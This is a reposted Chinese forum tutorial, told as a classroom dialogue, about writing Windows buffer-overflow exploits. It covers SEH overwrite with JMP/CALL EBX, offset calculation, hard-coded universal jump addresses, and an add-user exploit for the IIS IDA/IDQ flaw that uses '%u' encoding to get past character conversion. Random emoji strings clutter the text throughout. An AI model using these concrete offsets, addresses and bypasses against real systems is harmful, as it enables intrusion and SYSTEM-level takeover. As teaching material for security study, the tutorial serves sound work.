“第一种是C方式,这是C和C++的缺省调用方式,函数修饰为_cdecl。它由主调用进行参数压栈并且恢复堆栈,这样被调用函数就只用执行RET返回就行了。”👑💉🤖✊ “第二种是Pascal方式,大多数Windows API函数使用这种方式,函数修饰为WINAPI、PASCAL、CALLBACK 或+stdcall。这种方式是由主调用负责压栈,而在被调用函数中恢复堆栈,返回就需要执行RET n 了。” 小知识:函数两种调用方式 C方式和Pascal方式因为实现有些许不同,所以混合编程时一定要注意申明清楚,避免出现奇怪的错误。 👌🛩🥣🅰🐅 “.printer那个函数是使用RET 4返回的。但无论是RET还是RET n,我们使用覆盖函数返回点方式时都 是一样的思路,只不过在后面的ShellCode前多加上几个N0P就可以了。”老师总结道。 “哦!是啊!”大家点点头。 🩰🔋😆👍 “好了,我们来看看异常处理点吧!在寄存器窗口中可以看到,此时的FS=0038,而FS:0是指向异常处理 点入口的,我们看看FS:0里的值是多少。” “先输入data命令,就会出现一个数据窗口;然后输入dd FS:0,意思是把FS:0里面的值显示出来。 在 data 窗口中,可以看到为:0038:00000000 00D8F428 ” “哈哈,00D8F428就是这里的异常入口地址。如果出现异常错误,EBX就会变为0x00D8F428,而系统会跳到0x00D8F428+4 = 0x0172f42c中执行处理代码。”老师解释道。 🤌🚈🥄❎🦉 “哦..那我们的覆盖就应该把0x00D8F42C覆盖成JMP EBX的地址,而把0x00D8F428覆盖成NOP NOP JMP04指令吧! ”宇强说道。 “对!我们来计算一下。前面看到了覆盖的返回点在0x00D8F3D8,这里又得到了异常点在0x00D8F428,所 以覆盖异常点要比覆盖返回点多80 (0x00D8F428 —0x00D8F3D8 = 0x50 = 80)个字节。 👵👔📐😀🙏 “而原来覆盖返回点时用的是268个字节;那么现在覆盖异常处理点就应该用268+80=348 个字节!” “那我们就得到了覆盖异常的准确格式了,如下图。” ![]() 👩👑🔌🥲🧠 小知识:SoftICE的常用指令 SoftICE指令比较多,功能也比较强。在调试和破解时,常用的指令有: F10:单步执行,CALL, INT会被跳过; 🤛⛴🍧🅰🐅 F8:单步执行,CALL, INT会被切入; Ctrl+上下键或ALT+上下键:在数据窗口或代码窗口中移动。在鼠标失灵时特别有用。 BPX:设置执行地址断点,格式为BPX地址和BPX函数名。这个函数名可以是任意一个Windows API 函数,是破解时的明星指令。👨🚒🧦🖥😥💅 U:反汇编,格式为U地址。可以看到该地址后的指令代码是什么,测试Exploit时经常用来查看 ShellCode 的功能。 D:查看内存数据。经常用来对照比较ShellCode是否被改变。 ✋🚠🥄™🐝 R:更改寄存器的值。格式为R寄存器名=值,当EIP陷入死循环时,又不想重启机器,就用R来改变EIP 的值,手动跳出死循环。 最后一击——构造利用 🤳🎠🥩🆘🪶 “乌拉!万事俱备,只欠东风了!”大家欢呼着。 “嗯,预备知识储备充足后,我们用这种方法来写出利用程序吧,这里还是分三步。” “第一、异常入口的准确位置。我们已经计算出来了,为348Byte。” 🥷🎒📟😪👃 “第二、ShellCode。我们利用现成的吧!还是那个添加用户,呵呵!” “第三、JMP EBX 指令的地址。还是 Lion 公布的 0x7ffal571 (Win2000/XP/Win2003 通用)! ” “然后把改好的PrinterCallEbx.c编译、执行,好!添加用户成功!哈哈!” 👵👠💾😷👄 “哦! ”宇强都看入迷了,好不容易回过神来。 “怎么样?大家理解了 JMP/CALL EBX方式的思想了吧?” “嗯,不错,不错!简直就像一部部大片一样,令人赞叹……” 👍🏝🦀🆎🦮 “好,我们再总结一下,JMP/CALL EBX方式的利用格式是NNNNNJESSSSSS。这里,N=N0P,J=JMP 04, E=JMP EBX的地址,S=ShellCode。这样异常处理时,就会执行JMP EBX,而EBX在J的位置,那就可以跳过E, 进入我们的ShellCode 了。” “哦,老师,那什么时候用JMP ESP,什么时候用CALL EBX方式呢? ”大家问道。 🧑🚀👓🔍😔✊ “在一般情况下,两种都可以使用。但在一些特定情况下,只能使用其中的一种方式。” “哦,什么情况呢?” “大家都看到了,异常处理点比返回点要远很多。所以,如果程序还是有长度限制不能覆盖到异常处理点, 但可以覆盖到返回地址时,那就只能用JMP ESP覆盖EIP 了。” 👍⛪🥚🈸🦚 “哦! ”“举个例子来说吧!我们前面的FoxMail漏洞还是作了限制的,不能超过0x200,所以到达不了异常处理的地方;但EIP在0x100位置,所以我们可以用第一种方式JMP ESP覆盖EIP,而且只能用这种方式!” “哦!明白了。那什么时候只能用CALL EBX方式呢?” 👨🦱🎒💶😛👄 “呵呵!当能覆盖到异常处理点时都可以用该方法。而且这种方法很好,不用考虑地址可写与否的问题。 如果程序在返回前一定会产生异常,那就只能用这种方法了。” 小结:两种方法使用的时机 1. JMP ESP:覆盖不到异常处理点时,比如FoxMail作了 0x200限制。 👂🚂🍖☪🦌 2.JMP/CALL EBX:在返回前就有异常时,只能用这种方法。 另外,在XP下发生异常时,EBX不再指向下一处理链表,而改成了堆栈中的第三个值指向下一处理链表。 所以,要使用pop pop ret在内存中的地址覆盖异常处理点,而通用地址就是0x7ffa1571。 👄⛪🍧♀🦊 拾阶而上——IDA/IDQ溢出漏洞编写 “好了,诸位,经过刚才的讲解,大家清楚了 JMP ESP和JMP/CALL EBX两种方式的利用和区别吧?” 🧠🌧🍊💲🐖 “嗯,好想再来一次JMP/CALL EBX的实战啊!”大家都感叹道,连玉波都不觉得饿了。 “好!大家有兴趣就好!兴趣是最好的老师!既然大家很想,那我们再来一次实战,巩固一下知识吧!” “好咧!” “这次我们就对IIS的IDA/IDQ漏洞进行利用编写吧!” “首先,我们来看看漏洞公告,如下图。”👵👠🛋🥱👁 ![]() 小知识:IIS的IDA/IDQ漏洞 👂🌧🥄🆗🦜 作为安装IIS过程的一部分,系统还会安装几个ISAPI扩展.dll,其中,idq.dll是Index Server的一个 组件,对管理员脚本和Internet数据查询提供支持。但是,idq.dll在一段处理URL输入的代码中存在一 个未经检查的缓冲区,攻击者利用此漏洞能导致受影响的服务器产生缓冲区溢出,从而执行自己提供的代 码。更为严重的是,idq.dll是以System身份运行的,攻击者可以利用此漏洞取得系统管理员权限。 “该漏洞对 Win2000 SPO、SP1、SP2 有效。大家可以看到,采用 GET/NULL.ida?[bufer]=x HTTP/1.1 对 Bufeer (缓冲区)域进行填充,就可以覆盖到EIP,再继续也可以覆盖到异常处理点。” 初步利用 🧑💻🥾🔍😍👁“我们温故而知新,还是按照三个步骤来进行。” “第一、异常点位置。通过漏洞分析可以知道,异常处理点在Bufer (缓冲区)第240字节处,所以我们 在236字节放上NOP NOP jmp 04,在240字节处放上JMP EBX的地址,在244字节放上我们的ShellCode。” 🦴🧳🔪❓🐒 “第二、ShellCode。这里我也不说了,还是添加用户。” “第三、Jmp EBX 的地址——0x7FFA1571。” ✌🌧🥭🅾🐅 好,我们的三步曲都有了,来构造吧!构造形式如下图。”![]() “哦,Yeah!,我们把构造好的程序运行吧!”大家都迫不及待了。“好!运行!”手忙脚乱的把程序编译并运行开来。🧑🍳🩳🩺😉🖕 “咦?怎么没有反应? ”等了半天后,同学们望着黑黑的屏幕都呆了。 “呵呵!”老师看到大家忙完后才说道,“这个IIS漏洞和前面讲的那些漏洞有些不一样一它要对URL 进行一定的编码转换,这样转换后,我们的JMP 04、JMP EBX的地址和ShellCode都被改变啦!当然就不能执行我们想要的ShellCode 了。” 👩✈️👠🗡🙃👂 “啊? ” “这就是该漏洞不同的地方,也给大家带来了些挑战性,但在实际中,这种事还是很常见的。比如Cmail 会把大写改成小写等。” “哦,那怎么解决呢?”大家问道,“这方面不解决,那很多漏洞都不能用了。” 🧑⚕️💄📮🤐🤙 “对!我们一定要解决。但解铃还需系铃人,首先要看看IDA是如何变换那些URL请求字符的! 宽字符 🥷👔🦯😋👊 “对IDA/IDQ漏洞提交的URL被改变,是因为发送的内容由单字节转换成了宽字符。” 小知识:单字节、多字节和宽字节 在多年前,许多人一直将文本串作为一系列单字节字符来进行编码,并在结尾处放上一个零。但单字节只 能有256种编码,根本不够表示世界各国的文字。这样,就出现了多字节编码。🥷👖🪗🤩💪 在多字节编码中,字符有单字节和双字节。在双字节字符中,第一个字节或“前导字节”发出信号,表示 它和下一个字节将被解释为一个字符。因为字节编码既有单字节又有双字节,这样就比较麻烦。 “宽字符”是双字节、多语言字符代码。每个字符都用固定的16位大小表示,因此使用宽字符可以简化 国际字符集的编程。特别的,Unicode就是一种宽字符编码的国际标志,它用一个16位的值来表示每个字符。 👠✒😔👄 “所以,在最开始的时候,eEye的办法是在ShellCode前面放上很多N0P,这样就把ShellCode推向了 0x004x00xx的地址,就可以用xx4x这样的串来覆盖ret,这个串被扩展为xx004x00以后,正好跳转到 ShellCode 的位置。” “哇,办法很巧妙哈! ”大家说道。 🧑💻👗⌨😘✋ “嗯,这种方法虽然理论上行得通,但实际上问题非常多,可以控制跳转却无法执行代码,而且不同的机器这个0x004x00xx都不一样,这样就很难做出通用性比较好的Exploit。” “哦,那怎么办呢?” “随着技术的发展,有人发现可用巧妙的方法来避开被扩展成宽字符,这样我们就可轻松的改写很完善的 Exploit 了! ”👩✈️🧢🔑🤩✍ “哦!黑客精神真是好啊!很多困难的问题大家一起解决、一起进步。”大家由衷的说道,“用的是什么 方法呢?” “方法就是:在我们要用的JMP 04、JMP EBX地址和ShellCode前面加一个‘%u’符号,IIS是这样处理 ‘%u’的,它认为是宽字符,就不再作变换了。比如,JMP 04的指令写成%u04eb。我们把ShellCode都 加上‘%u’,就不会改变我们的东西了。”👩👔🪣😭✌ “哦!这样啊!真是一语点破天机啊!”台下感叹道。 “呵呵,这就是黑客魅力的所在。好了,我们就用这个办法把这个Exploit完成吧! “好咧!” 🧒🧥📐😇🖕 大家一边回答,一边给ShellCode添上“%u”标志。 “呼!添加完成了。”同学们擦擦汗。 “好!我们运行试试吧!”老师一编译、执行,哈,一个用户就添加上了。 👨⚕️🩲🪦🙄🖕 “哦!”教室里欢呼了起来,“成功罗!成功罗!” “呵呵,菜鸟还是有菜鸟的乐趣吧!尤其是经过种种挫折后的成功,会很有成就感的!好,今天就到这里!“🧑🍳👠🧹🥰👊
帖子热度 1.8万 ℃
|
|
课后解惑
Q:用JMP ESP地址覆盖时,意思是要跳到ESP去执行,那ESP具体的值是多少呢? A:你还没有理解覆盖的意义。我们不需要知道ESP具体的值,只需要知道JMP ESP指令的地址就可以了。 而JMP ESP指令的地址在同种系统甚至是不同种系统下,都有相同的值,即0x7FFA4512。建议再看看本章节ShellCode的定位部分。 👦👚🪦😆👃 Q:怎么知道JMP ESP指令的地址呢? A: JMP ESP指令的机器码是FF E4。只要你发现内存里面有一个地方是FF E4,那么就可以用此地方的地址了。比如,你查看内存0x7FFA4512的地方,只要是中文版Windows,一定放的是FF E4指令,所以说是通用地址。 Q:怎么知道JMP ESP指令的机器码是FF E4呢? A:即可以用查询工具得到,也可以在VC中用“_asm{}”嵌入汇编JMP ESP,再按F10进入调试,然后调 出JMP ESP代码对应的机器码。 我们将在ShellCode编写一章,详细讲解得到机器码的过程;在堆溢出一章有查找call [esi+0x4C]指 令机器码的讲解,过程类似,可以参看。🧓🥾💰😔🖕 Q:只能用ESP来定位吗? A:当然不是啦!最好把当时寄存器的内容都看一遍,比如覆盖异常时,我们用EBX。 Q:覆盖异常处理点时,我用的就是CALL EBX指令地址,为什么会失败? 🧑🚀👗🖲😉🦴 A:在Windows 2000下,可以用CALL EBX指令地址覆盖;但在XP下,EBX会变为0,需要用POP POP RET 的指令地址来覆盖。这也有个中文版NT/Win2000/Win2003都通用的地址——0x7FFA1571。我们将在 ShellCode变形一章的MDTM漏洞利用讲解时详细讲到。 Q:为什么会存在通用地址呢? A:上面说的两个通用地址都是指中文版的通用地址。是因为在同一个语言版本中,存在着一个从来没有 改动过的程序一svchost。它只是一个壳,用以启动其他程序,所以我们很幸运,能在它那里找到通用的 地址。 👏🎢🍊ℹ🐺 Q:有世界通用地址吗? A:抱歉,我不知道!但同种版本的各语言版本,比如Windows 2000 SP3的中文版和英文版,在Msvcrt.dll 中找到的地址可以通用。 另外,同一种语言的各个系统版本(比如中文版Windows2000、Windows XP),在0x7FFA0000中找到的地 址可以通用,就像0x7FFA4512和0x7FFA1571。 如果你找到了世界通用地址,请共享一下,谢谢! 🚂🥭ℹ🐙 Q:只能是用JMP CALL RET这样的指令地址来覆盖吗? A:大多数情况下是这样。 Q: Windows可以确切的定位了,但Linux下有确切的定位ShellCode的方法吗? A:在Linux下,可以把ShellCode放在环境变量,然后就能确切计算出ShellCode在内存中的地址,也非常精确。 💅⛴🥩✔🐉 Q:在分析你给的那个例子程序时,发现ESP—来就减很大的值,为什么分配这么大的缓冲器还要溢出呢? A:分配的空间是系统自己用的。但output[8]还是只分配了 8个字节的空间。 Q:奇怪,在“name”数组比较短的时候,测试会报错;但我按照格式覆盖并加上ShellCode后,结果不但没弹出窗口,连错误也不报了,这是怎么回事啊?(这个问题我就遇到了 ~~~55555) 🧑⚕️👚🏮😄🤙 A:是用的覆盖地址不对。而没有报错,是因为你覆盖的字符串太长了,把异常处理点也覆盖了,当然报错对话框也弹不出来了。 使用系统相关的地址,我们马上会在第二章ShellCode的编写中讲到。 |
|
大师的话真如“大音希声扫阴翳”,犹如“拨开云雾见青天”,使我等网民看到了希望,看到了未来!晴天霹雳、醍醐灌顶或许不足以形容大师文章的万一;巫山行云、长江流水更难以比拟大师的文才!黄钟大吕,振聋发聩!你烛照天下,明见万里;雨露苍生,泽被万方!透过你深邃的文字,我仿佛看到了你鹰视狼顾、龙行虎步的伟岸英姿;仿佛看到了你手执如椽大笔、写天下文章的智慧神态;仿佛看见了你按剑四顾、指点江山的英武气概!
|